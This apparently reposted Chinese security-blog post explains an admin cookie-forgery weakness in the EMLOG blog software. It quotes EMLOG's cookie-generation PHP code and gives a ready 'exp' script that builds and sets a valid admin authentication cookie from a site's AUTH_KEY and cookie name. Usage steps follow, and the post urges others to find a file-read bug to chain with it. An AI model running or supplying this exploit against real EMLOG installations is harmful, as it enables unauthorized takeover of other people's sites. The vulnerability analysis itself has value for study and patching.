好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

EMLOG后台COOKIE欺骗(鸡肋) - 网站安全 - 自学php

首先这应该算不上什么 漏洞 吧,说他是一个BUG更为贴切,放出来大家看看。因为利用起来比较鸡肋,必须在得到程序的AUTH_KEY以及AUTH_COOKIE_NAME的值后才可利用,而这两个东西都是安装的时候随机生成的,存放在config.php里面,不过鸡肋不代表没有危害,在得到以上两个值以后,只要对方不重装,即可随意进后台~~~~ 相信以前discuz 7.x的uckey写马玩的爽的人也不少!

来看看emlog的cookie验证关键代码:

PHP代码

/** 

 * 生成登录验证cookie 

 * 

 * @param int $user_id user login 

 * @param int $expiration Cookie expiration in seconds 

 * @return string Authentication cookie contents 

 */  

function generateAuthCookie($user_login, $expiration)  

{  

    $key = emHash($user_login . '|' . $expiration);  

    $hash = hash_hmac('md5', $user_login . '|' . $expiration, $key);  

    $cookie = $user_login . '|' . $expiration . '|' . $hash;  

    return $cookie;  

}  

PHP代码

/** 

 * Get hash of given string. 

 * 

 * @param string $data Plain text to hash 

 * @return string Hash of $data 

 */  

function emHash($data)  

{  

    $key = AUTH_KEY; //将AUTH_KEY赋值给$key  

    return hash_hmac('md5', $data, $key); //用HMAC模式生成一个包含密钥的Hash值  这里加密方式为md5 key为config文件中的AUTH_KEY 加密内容为 $username|$expiration  

}  

 

所以作者只是在那不停的的加密加密再加密,但是却2逼的不把用户名和密码入库查询,so。。。

最后再看下setAuthCookie函数就能构造出cookie的值了:

PHP代码

/** 

 * 写用于登录验证cookie 

 * 

 * @param int $user_id User ID 

 * @param bool $remember Whether to remember the user or not 

 */  

function setAuthCookie($user_login, $ispersis = false)  

{  

    if ( $ispersis )  

    {  

        $expiration  = time() + 60 * 60 * 24 * 30 * 12;  

    } else {  

        $expiration = null;  

    }  

    $auth_cookie_name = AUTH_COOKIE_NAME;  

    $auth_cookie = generateAuthCookie($user_login, $expiration);  

    setcookie($auth_cookie_name, $auth_cookie, $expiration,'/');  

}  

 

看上面代码可以知道此cookie是完全可以算出来的,废话不多说,cookie值生成exp:

PHP代码

< ?php  

$time=time() + 60 * 60 * 24 * 30 * 12;  

$key = hash_hmac('md5',  'admin|' . $time, 'X6GWWug3mdlkIdMwXcp9%j6#F6vrVR5gabb8ee9df7b6e17fbb57f67c38296f02'); //这个是key,admin为要欺骗的管理名   www.2cto.com

$hash=hash_hmac('md5',  'admin|' . $time, $key); //admin为要欺骗的管理名  

$cookie='admin|' . $time."|".$hash; //admin为要欺骗的管理名  

echo $cookie;  

setcookie("EM_AUTHCOOKIE_ZrMieHk3O56bPNzXjFW4PjuDXMxBUPKk",$cookie); //这个是cookiename  

?>  

 

最后来演示下利用方法吧:

 

然后在config.php文件中找到AUTH_KEY的值以及AUTH_COOKIE_NAME的值,这里我的值为:

PHP代码

//auth key  

define('AUTH_KEY','X6GWWug3mdlkIdMwXcp9%j6#F6vrVR5gabb8ee9df7b6e17fbb57f67c38296f02');  

//cookie name  

define('AUTH_COOKIE_NAME','EM_AUTHCOOKIE_ZrMieHk3O56bPNzXjFW4PjuDXMxBUPKk');  

 

so。替换exp中的相关内容,我的管理名是默认admin,所以这里就不改管理名了~~

执行后刷新后台即可:

 

 

没什么技术含量,我也是小菜鸟一枚,不过emlog的确是小巧,看过去看过来也那几句代码,有能力的大牛们去挖个读文件或者任意 下载 的洞吧~~配合这个就能秒杀了

查看更多关于EMLOG后台COOKIE欺骗(鸡肋) - 网站安全 - 自学php的详细内容...

  阅读:45次